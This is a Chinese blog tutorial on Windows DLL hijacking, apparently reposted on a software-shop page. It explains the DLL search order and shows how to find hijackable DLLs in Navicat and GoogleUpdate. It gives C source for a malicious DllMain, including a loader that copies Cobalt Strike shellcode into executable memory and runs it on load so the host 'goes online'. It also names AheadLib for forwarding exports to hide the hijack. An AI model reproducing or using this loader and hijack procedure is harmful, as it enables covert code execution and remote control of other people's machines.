您的位置:首页 >从零学DLL劫持技术解析
发布于2025-08-24 阅读(0)
扫一扫,手机访问
如果程序需要加载一个相对路径的dll文件,它将从当前目录下尝试查找,如果找不到,则按照如下顺序寻找:
windows xp sp2之前Windows查找DLL的目录以及对应的顺序:
进程对应的应用程序所在目录; 当前目录(Current Directory); 系统目录(通过 GetSystemDirectory 获取); 16位系统目录; Windows目录(通过 GetWindowsDirectory 获取); PATH环境变量中的各个目录; windows xp sp2之后Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):
默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1
进程对应的应用程序所在目录(可理解为程序安装目录比如C:\ProgramFiles\uTorrent) 系统目录(即%windir%system32); 16位系统目录(即%windir%system); Windows目录(即%windir%); 当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test); PATH环境变量中的各个目录; windows 7 以上版本从Windows7 之后, 微软为了更进一步的防御系统的DLL被劫持,将一些容易被劫持的系统DLL写进了一个注册表项中,该项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录SYSTEM32目录下调用,其注册表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

https://github.com/wietze/windows-dll-hijacking
代码语言:javascript代码运行次数:0运行复制python generate_pmc_files.py
https://github.com/knight0x07/ImpulsiveDLLHijack
编译完成后,把Prerequisites文件夹里的内容拷贝至ImpulsiveDLLHijack项目里

ImpulsiveDLLHijack.exe -path xxx.exe
这里使用navicat进行测试,可见运行的时候会加载C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

使用cs生成恶意dll,重命名为oci.dll后放置到该目录下


Process Monitor查找可用dll,设置如下图所示

配置完可以保存导出配置,下次直接导入使用

使用GoogleUpdate.exe进行测试,运行程序filter加载所使用的dll文件

这里可以看出来,当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件
编写一个基础的弹窗dll
代码语言:javascript代码运行次数:0运行复制#include #pragma comment (lib, "user32.lib")BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH://DLL首次被加载到内存时运行 case DLL_PROCESS_DETACH://DLL销毁时运行 case DLL_THREAD_ATTACH://DLL线程加载时运行 case DLL_THREAD_DETACH://DLL线程销毁时运行 break; } return TRUE;}extern "C" __declspec(dllexport) int DllEntry(DWORD ArgList, int a2) { MessageBox(NULL, "I am DLL !", "DLL", MB_OK); return 0;} 
// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#includeBOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("calc"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;} 
cs生成c的payload


生成的payload填入到下面相应的位置上
// 头文件#include "pch.h"#include ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////HANDLE hThread = NULL;typedef void(__stdcall* JMP_SHELLCODE)();unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";DWORD WINAPI jmp_shellcode(LPVOID pPara){ LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(lpBase, shellcode, sizeof(shellcode)); JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase; jmp_shellcode(); return 0;}////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0); } else if (dwReason == DLL_PROCESS_DETACH) { } return TRUE;} 
运行navicat程序就会上线

有时候当我们替换dll后,虽然可以执行命令,但是会产生报错

这时候我们可以使用AheadLib工具,使恶意的DLL将原有的函数转发到原DLL中并且释放恶意代码
打开工具导入dll文件,会生成相应的cpp文件



我的博客即将同步至PHP中文网开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=1kvjv5bw3cr7k
上一篇:导出桌面日历数据步骤详解
下一篇:电脑下载谷歌浏览器教程
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
售后无忧
立即购买>office旗舰店
正版软件
正版软件
正版软件
正版软件
正版软件
1
2
3
4
5
6
7
8
9